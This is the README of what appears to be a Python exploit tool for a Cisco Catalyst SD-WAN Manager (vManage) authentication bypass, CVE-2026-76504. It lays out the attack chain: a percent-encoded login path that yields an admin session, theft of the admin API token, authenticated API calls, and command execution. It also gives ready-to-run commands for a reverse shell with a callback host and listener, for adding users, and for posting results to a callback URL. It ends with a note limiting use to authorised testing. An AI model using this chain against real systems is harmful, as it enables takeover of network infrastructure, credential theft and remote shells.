Python exploit for CVE-2026-76504, a Cisco Catalyst SD-WAN Manager authentication bypass via percent-encoded j_security_check, with token theft, API calls, and reverse shell.
CVE-2026-76504 is a critical authentication bypass (CVSS 9.8,
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-177) in Cisco Catalyst SD-WAN
Manager (vManage). It is listed in the CISA KEV catalogue and has been
actively exploited in the wild since September 2026. There is no workaround;
only patching removes the vulnerability.
The root cause is an inconsistent URI-normalisation between the
authentication middleware and the request router. Percent-encoding a single
character of the protected j_security_check login path makes the auth rule
see a different (clean) URI while the router resolves the same (login)
URI — so the server issues a valid admin session without any valid
credentials.
Advisory: cisco-sa-sdwan-webauth-xr8beuuU
| Branch | Patched in |
|---|---|
| 20.9.x | 20.9.10.1 |
| 20.12.x | 20.12.8.2 |
| 20.15.x | 20.15.6.1 |
| 20.18.x | 20.18.4.1 |
| 26.1.x | 26.1.2.1 |
| 26.2 | 26.2.1 |
step1 POST /%6a_security_check (%6a = percent-encoded 'j')
-> the auth rule is skipped, the request is mapped to a
'viptela-reserved-*' service account and a valid JSESSIONID
is returned.
step2 GET /dataservice/client/token (with the JSESSIONID cookie)
-> 128-char uppercase hex admin API token.
step3 authenticated admin API calls / command execution / reverse shell.
Follow-up requests send the session cookie plus the token in the
X-XSRF-TOKEN header (documented vManage API convention).
# Verify the target is vulnerable
python3 exploit.py -t https://10.0.0.1 --check
# Full chain, human-readable output
python3 exploit.py -t https://10.0.0.1 --recon
# Machine-readable JSON report
python3 exploit.py -t https://10.0.0.1 --json
# Authenticated follow-up API call (repeatable)
python3 exploit.py -t https://10.0.0.1 \
--api 'GET /dataservice/user/user'
# Execute a management command (repeatable)
python3 exploit.py -t https://10.0.0.1 \
--cmd 'show version'
# Reverse shell with a local interactive listener
python3 exploit.py -t https://10.0.0.1 \
--revshell --rs-host 10.0.0.2 --rs-port 4444 --listen
# Offline self-test against the built-in mock vManage
python3 exploit.py --selftest
| Option | Description |
|---|---|
-t, --target | host or scheme://host[:port] (default port 443) |
--port | override port |
--http | force plain HTTP |
--insecure | skip TLS certificate verification |
--proxy | forward proxy http://host:port |
--timeout | per-request timeout in seconds (default 10) |
-u, --user | form j_username value (default admin; auth is bypassed) |
-p, --pass | form j_password value (default admin; auth is bypassed) |
--enc-char | character of j_security_check to percent-encode (default j) |
--enc-style | lower (default), upper, or double encoding |
--token-url | admin token endpoint (default /dataservice/client/token) |
--skip-token | stop after step1 (session only) |
--check | verification only: step1, report, exit |
--api SPEC | authenticated call: `'METHOD PATH [json |
--cmd CMD | management command under the stolen session (repeatable) |
--cmd-url | command endpoint (default /dataservice/command) |
--cmd-field | JSON payload key carrying the command (default command) |
--revshell | build and issue a reverse-shell command |
--rs-impl | bash (default), nc, python3, perl |
--rs-host/--rs-port | reverse-shell callback host/port |
--listen | start a local listener and relay the shell interactively |
--recon | probe candidate endpoints with the stolen session |
--callback URL | POST the JSON report to a URL |
--dump DIR | save response artifacts into a directory |
--repeat N | repeat the chain N times |
--reqid | send X-Request-Id: <uuid4> (IOC fidelity) |
--ua | User-Agent (default Mozilla/5.0) |
-v, --verbose | dump raw requests/responses |
--json | machine-readable report only |
--selftest | offline self-test via the built-in mock |
| Code | Meaning |
|---|---|
| 0 | bypass confirmed |
| 1 | failed / verification error |
| 2 | target unreachable |
# Verify only (lowercase encoding)
python3 exploit.py -t 10.0.0.1 --port 8443 --check
# Uppercase / double encoding variants
python3 exploit.py -t https://10.0.0.1 --enc-style upper --check
python3 exploit.py -t https://10.0.0.1 --enc-style double --check
# Encode a different character of the path
python3 exploit.py -t https://10.0.0.1 --enc-char s --check
# Enumerate users via the stolen session
python3 exploit.py -t https://10.0.0.1 \
--api 'GET /dataservice/user/user'
# POST JSON payload
python3 exploit.py -t https://10.0.0.1 \
--api 'POST /dataservice/user {"userName":"x","password":"y"}'
# POST a payload from a file
python3 exploit.py -t https://10.0.0.1 \
--api 'POST /dataservice/setting @payload.json'
# Save artifacts and POST the report to a callback
python3 exploit.py -t https://10.0.0.1 \
--dump ./out --callback http://10.0.0.2:8000/report --json
# Through a forward proxy, ignoring TLS validation
python3 exploit.py -t https://10.0.0.1 \
--proxy http://127.0.0.1:8080 --insecure --check
The default credentials (admin/admin) are only used as form field
values; the auth rule itself is bypassed by the encoded path, so the
credential values do not need to be correct on a vulnerable target.
--check performs step1 only and reports whether a session cookie was
issued. It does not make any further authenticated calls.
The tool is a single, dependency-free file for authorised security testing and research only. Use it only against systems you are permitted to test.